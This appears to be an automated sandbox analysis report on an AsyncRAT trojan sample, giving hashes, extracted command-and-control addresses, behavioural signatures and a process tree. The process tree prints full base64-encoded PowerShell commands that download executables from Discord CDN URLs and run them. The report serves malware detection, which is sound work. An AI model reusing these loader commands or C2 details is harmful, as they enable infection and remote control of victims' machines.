asyncrat | eef39416246446da8684c092ed5d4d9fcda5f55f690a638f62196dbf18c51aa5

Analysis

max time kernel
25s
max time network
161s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
24/12/2023, 04:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
eef39416246446da8684c092ed5d4d9fcda5f55f690a638f62196dbf18c51aa5.exe
Size 581KB
Sample231224-enhk2afcbq
SHA256 eef39416246446da8684c092ed5d4d9fcda5f55f690a638f62196dbf18c51aa5
MD5 66c5df3f2f19ce77bdeb31bba7de7139
SHA1 b17851297a70359c6d5c3b33cafa1f308be263dd
SHA512 1097b7bc88f7511385cfa081b8e893ed261cf859c1c65aca32405b28d8c6e887a9e37ba9ee74cac8f986b6522c5754222b8763143b9d88653153fa20563bb111
SSDEEP 12288:ggx6pwnS3Px5A1vLnviFHl4oJuHwUK5vVDqrmdsqQRWgQ:RTSg1vLv86XHdyVDZdspR
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat irata zgrat winlogoewg winlozb infostealer rat trojan upx

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Winlozb

46.1.103.124:2341

Mutex

Winlozb

Attributes

delay
3
install
false
install_file
Winlogzb
install_folder
%AppData%

aes.plain

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Winlogoewg

46.1.103.124:9371

Mutex

Winlogoreg

Attributes

delay
3
install
false
install_file
Winloggg
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detect ZGRat V1 31 IoCs

resource	yara_rule
behavioral2/memory/4544-352-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-364-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-366-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-368-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-362-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-360-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-358-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-372-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-370-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-374-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-376-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-380-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-382-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-386-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-388-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-384-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-378-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-356-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-354-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-350-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-349-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-390-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-394-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-402-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-406-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-408-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-404-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-400-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-398-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-396-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1
behavioral2/memory/4544-392-0x0000000001A50000-0x0000000001AE8000-memory.dmp	family_zgrat_v1

Irata
Irata is an Iranian remote access trojan Android malware first seen in August 2022.
trojan infostealer rat irata

Irata payload 1 IoCs

resource	yara_rule
behavioral2/files/0x0006000000023477-2208.dat	family_irata5

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Async RAT payload 2 IoCs

rat

resource	yara_rule
behavioral2/memory/2900-139-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral2/memory/4144-312-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
44	3376	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	GRmgibjD38.exe
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	iae4YiG8Cc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	lDE0E7gCkF.exe
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	TgGaRENDNj.exe
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	DpVrSTzNdI.exe
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	72MVhG3R68.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.NET Framework.exe	RegAsm.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.NET Framework.exe	RegAsm.exe

Executes dropped EXE 8 IoCs

pid	Process
3872	72MVhG3R68.exe
3840	GRmgibjD38.exe
2040	iae4YiG8Cc.exe
2676	lDE0E7gCkF.exe
400	TgGaRENDNj.exe
4804	DpVrSTzNdI.exe
3936	yZtqouRvwD.exe
4920	1HDUEZ.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3952-0-0x00007FF764840000-0x00007FF7649A4000-memory.dmp	upx
behavioral2/memory/3952-59-0x00007FF764840000-0x00007FF7649A4000-memory.dmp	upx
behavioral2/memory/3952-86-0x00007FF764840000-0x00007FF7649A4000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
247	ipinfo.io
248	ipinfo.io
271	ipinfo.io

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4920 set thread context of 2900	4920	1HDUEZ.exe	128
PID 3936 set thread context of 4496	3936	yZtqouRvwD.exe	130

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
692	3188	WerFault.exe	148

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1576	schtasks.exe
1108	schtasks.exe
2152	schtasks.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
2992	tasklist.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000_Classes\Local Settings	OpenWith.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
3376	powershell.exe
3376	powershell.exe
3184	powershell.exe
3184	powershell.exe
3184	powershell.exe
4024	powershell.exe
4024	powershell.exe
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe
4024	powershell.exe
4660	powershell.exe
4660	powershell.exe
2820	powershell.exe
2820	powershell.exe
2056	powershell.exe
2056	powershell.exe
4152	powershell.exe
4152	powershell.exe
4660	powershell.exe
2820	powershell.exe
2056	powershell.exe
4152	powershell.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	3376	powershell.exe
Token: SeDebugPrivilege	3184	powershell.exe
Token: SeDebugPrivilege	4024	powershell.exe
Token: SeDebugPrivilege	4080	powershell.exe
Token: SeDebugPrivilege	4660	powershell.exe
Token: SeDebugPrivilege	2820	powershell.exe
Token: SeDebugPrivilege	2056	powershell.exe
Token: SeDebugPrivilege	4152	powershell.exe
Token: SeDebugPrivilege	4496	RegAsm.exe
Token: SeDebugPrivilege	2900	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1960	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3952 wrote to memory of 2344	3952	eef39416246446da8684c092ed5d4d9fcda5f55f690a638f62196dbf18c51aa5.exe	90
PID 3952 wrote to memory of 2344	3952	eef39416246446da8684c092ed5d4d9fcda5f55f690a638f62196dbf18c51aa5.exe	90
PID 3952 wrote to memory of 4740	3952	eef39416246446da8684c092ed5d4d9fcda5f55f690a638f62196dbf18c51aa5.exe	93
PID 3952 wrote to memory of 4740	3952	eef39416246446da8684c092ed5d4d9fcda5f55f690a638f62196dbf18c51aa5.exe	93
PID 4740 wrote to memory of 3872	4740	cmd.exe	95
PID 4740 wrote to memory of 3872	4740	cmd.exe	95
PID 3872 wrote to memory of 3376	3872	72MVhG3R68.exe	96
PID 3872 wrote to memory of 3376	3872	72MVhG3R68.exe	96
PID 3952 wrote to memory of 316	3952	eef39416246446da8684c092ed5d4d9fcda5f55f690a638f62196dbf18c51aa5.exe	98
PID 3952 wrote to memory of 316	3952	eef39416246446da8684c092ed5d4d9fcda5f55f690a638f62196dbf18c51aa5.exe	98
PID 316 wrote to memory of 3840	316	cmd.exe	100
PID 316 wrote to memory of 3840	316	cmd.exe	100
PID 3952 wrote to memory of 3404	3952	eef39416246446da8684c092ed5d4d9fcda5f55f690a638f62196dbf18c51aa5.exe	101
PID 3952 wrote to memory of 3404	3952	eef39416246446da8684c092ed5d4d9fcda5f55f690a638f62196dbf18c51aa5.exe	101
PID 3952 wrote to memory of 3836	3952	eef39416246446da8684c092ed5d4d9fcda5f55f690a638f62196dbf18c51aa5.exe	103
PID 3952 wrote to memory of 3836	3952	eef39416246446da8684c092ed5d4d9fcda5f55f690a638f62196dbf18c51aa5.exe	103
PID 3840 wrote to memory of 3184	3840	GRmgibjD38.exe	104
PID 3840 wrote to memory of 3184	3840	GRmgibjD38.exe	104
PID 3404 wrote to memory of 2040	3404	cmd.exe	107
PID 3404 wrote to memory of 2040	3404	cmd.exe	107
PID 3836 wrote to memory of 2676	3836	cmd.exe	108
PID 3836 wrote to memory of 2676	3836	cmd.exe	108
PID 3952 wrote to memory of 744	3952	eef39416246446da8684c092ed5d4d9fcda5f55f690a638f62196dbf18c51aa5.exe	109
PID 3952 wrote to memory of 744	3952	eef39416246446da8684c092ed5d4d9fcda5f55f690a638f62196dbf18c51aa5.exe	109
PID 2040 wrote to memory of 4024	2040	iae4YiG8Cc.exe	158
PID 2040 wrote to memory of 4024	2040	iae4YiG8Cc.exe	158
PID 2676 wrote to memory of 4080	2676	lDE0E7gCkF.exe	113
PID 2676 wrote to memory of 4080	2676	lDE0E7gCkF.exe	113
PID 3952 wrote to memory of 4500	3952	eef39416246446da8684c092ed5d4d9fcda5f55f690a638f62196dbf18c51aa5.exe	115
PID 3952 wrote to memory of 4500	3952	eef39416246446da8684c092ed5d4d9fcda5f55f690a638f62196dbf18c51aa5.exe	115
PID 744 wrote to memory of 400	744	cmd.exe	117
PID 744 wrote to memory of 400	744	cmd.exe	117
PID 3952 wrote to memory of 4352	3952	eef39416246446da8684c092ed5d4d9fcda5f55f690a638f62196dbf18c51aa5.exe	119
PID 3952 wrote to memory of 4352	3952	eef39416246446da8684c092ed5d4d9fcda5f55f690a638f62196dbf18c51aa5.exe	119
PID 400 wrote to memory of 4660	400	TgGaRENDNj.exe	138
PID 400 wrote to memory of 4660	400	TgGaRENDNj.exe	138
PID 4352 wrote to memory of 4804	4352	cmd.exe	120
PID 4352 wrote to memory of 4804	4352	cmd.exe	120
PID 4500 wrote to memory of 3936	4500	cmd.exe	121
PID 4500 wrote to memory of 3936	4500	cmd.exe	121
PID 4500 wrote to memory of 3936	4500	cmd.exe	121
PID 4804 wrote to memory of 2820	4804	DpVrSTzNdI.exe	123
PID 4804 wrote to memory of 2820	4804	DpVrSTzNdI.exe	123
PID 3376 wrote to memory of 4920	3376	powershell.exe	137
PID 3376 wrote to memory of 4920	3376	powershell.exe	137
PID 3376 wrote to memory of 4920	3376	powershell.exe	137
PID 3936 wrote to memory of 2056	3936	yZtqouRvwD.exe	136
PID 3936 wrote to memory of 2056	3936	yZtqouRvwD.exe	136
PID 3936 wrote to memory of 2056	3936	yZtqouRvwD.exe	136
PID 3936 wrote to memory of 3360	3936	yZtqouRvwD.exe	135
PID 3936 wrote to memory of 3360	3936	yZtqouRvwD.exe	135
PID 3936 wrote to memory of 3360	3936	yZtqouRvwD.exe	135
PID 4920 wrote to memory of 4152	4920	1HDUEZ.exe	132
PID 4920 wrote to memory of 4152	4920	1HDUEZ.exe	132
PID 4920 wrote to memory of 4152	4920	1HDUEZ.exe	132
PID 4920 wrote to memory of 3900	4920	1HDUEZ.exe	131
PID 4920 wrote to memory of 3900	4920	1HDUEZ.exe	131
PID 4920 wrote to memory of 3900	4920	1HDUEZ.exe	131
PID 4920 wrote to memory of 2900	4920	1HDUEZ.exe	128
PID 4920 wrote to memory of 2900	4920	1HDUEZ.exe	128
PID 4920 wrote to memory of 2900	4920	1HDUEZ.exe	128
PID 3936 wrote to memory of 4496	3936	yZtqouRvwD.exe	130
PID 3936 wrote to memory of 4496	3936	yZtqouRvwD.exe	130
PID 3936 wrote to memory of 4496	3936	yZtqouRvwD.exe	130

C:\Users\Admin\AppData\Local\Temp\eef39416246446da8684c092ed5d4d9fcda5f55f690a638f62196dbf18c51aa5.exe
"C:\Users\Admin\AppData\Local\Temp\eef39416246446da8684c092ed5d4d9fcda5f55f690a638f62196dbf18c51aa5.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3952
- C:\Windows\system32\cmd.exe
  "cmd" /C C:\Users\Admin\AppData\Local\Temp\ivadZKpzcN.sln
  2⤵
  - Modifies registry class
  PID:2344
- C:\Windows\system32\cmd.exe
  "cmd" /C C:\Users\Admin\AppData\Local\Temp\72MVhG3R68.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4740
- - C:\Users\Admin\AppData\Local\Temp\72MVhG3R68.exe
    C:\Users\Admin\AppData\Local\Temp\72MVhG3R68.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3872
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAagBxACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAxADgANwA4ADYANwAwADQANAA0ADYANQA2ADEAOQAxADEANgAvADEAMQA4ADcAOAA2ADcANAAxADYAMwAxADUAOAAzADQANQA2ADgALwAyADIAZAAuAGUAeABlACcALAAgADwAIwBsAGYAdwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHcAYwBuACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGQAcgBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADEASABEAFUARQBaAC4AZQB4AGUAJwApACkAPAAjAGoAbgBsACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHYAZABqACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBoAGwAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAxAEgARABVAEUAWgAuAGUAeABlACcAKQA8ACMAbgB1AGoAIwA+AA=="
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3376
    - - C:\Users\Admin\AppData\Local\Temp\1HDUEZ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1HDUEZ.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:4920
- C:\Windows\system32\cmd.exe
  "cmd" /C C:\Users\Admin\AppData\Local\Temp\GRmgibjD38.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:316
- - C:\Users\Admin\AppData\Local\Temp\GRmgibjD38.exe
    C:\Users\Admin\AppData\Local\Temp\GRmgibjD38.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3840
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAcAB0ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADEAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADEAOAA3ADgANgA3ADAANAA0ADQANgA1ADYAMQA5ADEAMQA2AC8AMQAxADgANwA4ADYANwA0ADUANAA4ADMAMgAxADEANQA3ADcAMwAvAGQAbwBsAGwAbQBjAGMAcABpAGwALgBlAHgAZQAnACwAIAA8ACMAcgBhAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB1AGcAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBsAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAyAEgARABVAEUAWgAuAGUAeABlACcAKQApADwAIwByAGcAegAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBzAGQAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAawBoAHEAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAMgBIAEQAVQBFAFoALgBlAHgAZQAnACkAPAAjAGoAcgBjACMAPgA="
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3184
    - - C:\Users\Admin\AppData\Local\Temp\2HDUEZ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2HDUEZ.exe"
        5⤵
        
        PID:4544
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        6⤵
        
        PID:2528
- C:\Windows\system32\cmd.exe
  "cmd" /C C:\Users\Admin\AppData\Local\Temp\iae4YiG8Cc.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3404
- - C:\Users\Admin\AppData\Local\Temp\iae4YiG8Cc.exe
    C:\Users\Admin\AppData\Local\Temp\iae4YiG8Cc.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2040
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGMAeQBlACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADEAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADEAOAA3ADgANgA3ADAANAA0ADQANgA1ADYAMQA5ADEAMQA2AC8AMQAxADgANwA4ADYANwA0ADUAOQAwADYAOAAzADYANgA4ADUAOAAvAEgAeQB2AC4AZQB4AGUAJwAsACAAPAAjAGQAZQB2ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcABnAGsAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAagB1AGgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAMwBIAEQAVQBFAFoALgBlAHgAZQAnACkAKQA8ACMAYQBjAGYAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAcQBqAGIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHYAdgB1ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADMASABEAFUARQBaAC4AZQB4AGUAJwApADwAIwBuAGIAdgAjAD4A"
      4⤵
      PID:4024
    - - C:\Users\Admin\AppData\Local\Temp\3HDUEZ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3HDUEZ.exe"
        5⤵
        
        PID:3188
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 804
        6⤵
        Program crash
        
        PID:692
- C:\Windows\system32\cmd.exe
  "cmd" /C C:\Users\Admin\AppData\Local\Temp\lDE0E7gCkF.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3836
- - C:\Users\Admin\AppData\Local\Temp\lDE0E7gCkF.exe
    C:\Users\Admin\AppData\Local\Temp\lDE0E7gCkF.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2676
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHMAagBpACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzADEAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADEAOAA3ADgANgA3ADAANAA0ADQANgA1ADYAMQA5ADEAMQA2AC8AMQAxADgANwA4ADYANwA0ADgAMAAwADgAMQA4ADMAOAAxADgAMQAvAGUAYgBjAHoAZAAuAGUAeABlACcALAAgADwAIwBzAGgAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGQAagBoACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHUAaABsACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADQASABEAFUARQBaAC4AZQB4AGUAJwApACkAPAAjAHYAbgBxACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHMAYwBlACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHcAcAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwA0AEgARABVAEUAWgAuAGUAeABlACcAKQA8ACMAdQBhAG0AIwA+AA=="
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4080
    - - C:\Users\Admin\AppData\Local\Temp\4HDUEZ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\4HDUEZ.exe"
        5⤵
        
        PID:5044
- C:\Windows\system32\cmd.exe
  "cmd" /C C:\Users\Admin\AppData\Local\Temp\TgGaRENDNj.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:744
- - C:\Users\Admin\AppData\Local\Temp\TgGaRENDNj.exe
    C:\Users\Admin\AppData\Local\Temp\TgGaRENDNj.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:400
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAZABjACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA0ADEAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADEAOAA3ADgANgA3ADAANAA0ADQANgA1ADYAMQA5ADEAMQA2AC8AMQAxADgANwA4ADYANwA1ADAAMAAzADQAOAA3ADAAMgA4ADEAMgAvAEcAMwA2AGQAaAAxAC4AZQB4AGUAJwAsACAAPAAjAHEAZgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAaABtAGwAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAaQBzAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcANQBIAEQAVQBFAFoALgBlAHgAZQAnACkAKQA8ACMAZgBjAGQAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAcAB2AGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAaQBkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADUASABEAFUARQBaAC4AZQB4AGUAJwApADwAIwBqAGUAZwAjAD4A"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4660
    - - C:\Users\Admin\AppData\Local\Temp\5HDUEZ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5HDUEZ.exe"
        5⤵
        
        PID:5792
- C:\Windows\system32\cmd.exe
  "cmd" /C C:\Users\Admin\AppData\Local\Temp\yZtqouRvwD.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4500
- - C:\Users\Admin\AppData\Local\Temp\yZtqouRvwD.exe
    C:\Users\Admin\AppData\Local\Temp\yZtqouRvwD.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:3936
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      #cmd
      4⤵
      Drops startup file
      Suspicious use of AdjustPrivilegeToken
      PID:4496
